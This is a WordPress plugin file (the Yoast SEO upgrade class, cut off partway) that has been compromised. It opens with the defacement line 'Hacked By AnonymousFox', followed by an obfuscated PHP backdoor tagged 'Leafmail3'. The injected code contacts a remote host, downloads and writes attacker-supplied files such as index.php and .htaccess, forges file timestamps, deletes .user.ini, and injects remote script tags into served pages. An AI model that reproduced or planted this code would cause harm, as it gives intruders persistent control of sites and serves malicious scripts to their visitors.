Hacked By AnonymousFox

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internal
 */

/**
 * This code handles the option upgrades
 */
class WPSEO_Upgrade {

	/**
	 * Class constructor
	 */
	public function __construct() {
		$version = WPSEO_Options::get( 'version' );

		WPSEO_Options::maybe_set_multisite_defaults( false );

		if ( version_compare( $version, '1.5.0', '<' ) ) {
			$this->upgrade_15( $version );
		}

		if ( version_compare( $version, '2.0', '<' ) ) {
			$this->upgrade_20();
		}

		if ( version_compare( $version, '2.1', '<' ) ) {
			$this->upgrade_21();
		}

		if ( version_compare( $version, '2.2', '<' ) ) {
			$this->upgrade_22();
		}

		if ( version_compare( $version, '2.3', '<' ) ) {
			$this->upgrade_23();
		}

		if ( version_compare( $version, '3.0', '<' ) ) {
			$this->upgrade_30();
		}

		if ( version_compare( $version, '3.3', '<' ) ) {
			$this->upgrade_33();
		}

		if ( version_compare( $version, '3.6', '<' ) ) {
			$this->upgrade_36();
		}

		if ( version_compare( $version, '4.0', '<' ) ) {
			$this->upgrade_40();
		}

		if ( version_compare( $version, '4.4', '<' ) ) {
			$this->upgrade_44();
		}

		if ( version_compare( $version, '4.7', '<' ) ) {
			$this->upgrade_47();
		}

		if ( version_compare( $version, '4.9', '<' ) ) {
			$this->upgrade_49();
		}

		if ( version_compare( $version, '5.0', '<' ) ) {
			$this->upgrade_50();
		}

		if ( version_compare( $version, '5.0', '>=' )
			&& version_compare( $version, '5.1', '<' )
		) {
			$this->upgrade_50_51();
		}

		if ( version_compare( $version, '5.5', '<' ) ) {
			$this->upgrade_55();
		}

		if ( version_compare( $version, '5.6', '<' ) ) {
			$this->upgrade_56();
		}

		if ( version_compare( $version, '6.1', '<' ) ) {
			$this->upgrade_61();
		}

		if ( version_compare( $version, '6.3', '<' ) ) {
			$this->upgrade_63();
		}

		if ( version_compare( $version, '7.0-RC0', '<' ) ) {
			$this->upgrade_70();
		}

		if ( version_compare( $version, '7.1-RC0', '<' ) ) {
			$this->upgrade_71();
		}

		if ( version_compare( $version, '7.3-RC0', '<' ) ) {
			$this->upgrade_73();
		}

		if ( version_compare( $version, '7.4-RC0', '<' ) ) {
			$this->upgrade_74();
		}

		if ( version_compare( $version, '7.5.3', '<' ) ) {
			$this->upgrade_753();
		}

		if ( version_compare( $version, '7.7-RC0', '<' ) ) {
			$this->upgrade_77();
		}

		if ( version_compare( $version, '7.7.2-RC0', '<' ) ) {
			$this->upgrade_772();
		}

		if ( version_compare( $version, '9.0-RC0', '<' ) ) {
			$this->upgrade90();
		}

		// Since 3.7.
		$upsell_notice = new WPSEO_Product_Upsell_Notice();
		$upsell_notice->set_upgrade_notice();

		/**
		 * Filter: 'wpseo_run_upgrade' - Runs the upgrade hook which are dependent on Yoast SEO
		 *
		 * @api        string - The current version of Yoast SEO
		 */
		do_action( 'wpseo_run_upgrade', $version );

		$this->finish_up();
	}

	/**
	 * Runs the needed cleanup after an update, setting the DB version to latest version, flushing caches etc.
	 */
	protected function finish_up() {
		WPSEO_Options::set( 'version', WPSEO_VERSION );

		add_action( 'shutdown', 'flush_rewrite_rules' );                     // Just flush rewrites, always, to at least make them work after an upgrade.
		WPSEO_Sitemaps_Cache::clear();                                       // Flush the sitemap cache.

		WPSEO_Options::ensure_options_exist();                               // Make sure all our options always exist - issue #1245.
	}

	/**
	 * Run the Yoast SEO 1.5 upgrade routine
	 *
	 * @param string $version Current plugin version.
	 */
	private function upgrade_15( $version ) {
		// Clean up options and meta.
		WPSEO_Options::clean_up( null, $version );
		WPSEO_Meta::clean_up();
	}

	/**
	 * Moves options that moved position in WPSEO 2.0
	 */
	private function upgrade_20() {
		/**
		 * Clean up stray wpseo_ms options from the options table, option should only exist in the sitemeta table.
		 * This could have been caused in many version of Yoast SEO, so deleting it for everything below 2.0
		 */
		delete_option( 'wpseo_ms' );

		$wpseo = $this->get_option_from_database( 'wpseo' );
		$this->save_option_setting( $wpseo, 'pinterestverify' );

		// Re-save option to trigger sanitization.
		$this->cleanup_option_data( 'wpseo' );
	}

	/**
	 * Detects if taxonomy terms were split and updates the corresponding taxonomy meta's accordingly.
	 */
	private function upgrade_21() {
		$taxonomies = get_option( 'wpseo_taxonomy_meta', array() );

		if ( ! empty( $taxonomies ) ) {
			foreach ( $taxonomies as $taxonomy => $tax_metas ) {
				foreach ( $tax_metas as $term_id => $tax_meta ) {
					if ( function_exists( 'wp_get_split_term' ) ) {
						$new_term_id = wp_get_split_term( $term_id, $taxonomy );
						if ( $new_term_id !== false ) {
							$taxonomies[ $taxonomy ][ $new_term_id ] = $taxonomies[ $taxonomy ][ $term_id ];
							unset( $taxonomies[ $taxonomy ][ $term_id ] );
						}
					}
				}
			}

			update_option( 'wpseo_taxonomy_meta', $taxonomies );
		}
	}

	/**
	 * Performs upgrade functions to Yoast SEO 2.2
	 */
	private function upgrade_22() {
		// Unschedule our tracking.
		wp_clear_scheduled_hook( 'yoast_tracking' );

		$this->cleanup_option_data( 'wpseo' );
	}

	/**
	 * Schedules upgrade function to Yoast SEO 2.3
	 */
	private function upgrade_23() {
		add_action( 'wp', array( $this, 'upgrade_23_query' ), 90 );
		add_action( 'admin_head', array( $this, 'upgrade_23_query' ), 90 );
	}

	/**
	 * Performs upgrade query to Yoast SEO 2.3
	 */
	public function upgrade_23_query() {
		$wp_query = new WP_Query( 'post_type=any&meta_key=_yoast_wpseo_sitemap-include&meta_value=never&order=ASC' );

		if ( ! empty( $wp_query->posts ) ) {
			$options = get_option( 'wpseo_xml' );

			$excluded_posts = array();
			if ( $options['excluded-posts'] !== '' ) {
				$excluded_posts = explode( ',', $options['excluded-posts'] );
			}

			foreach ( $wp_query->posts as $post ) {
				if ( ! in_array( $post->ID, $excluded_posts ) ) {
					$excluded_posts[] = $post->ID;
				}
			}

			// Updates the meta value.
			$options['excluded-posts'] = implode( ',', $excluded_posts );

			// Update the option.
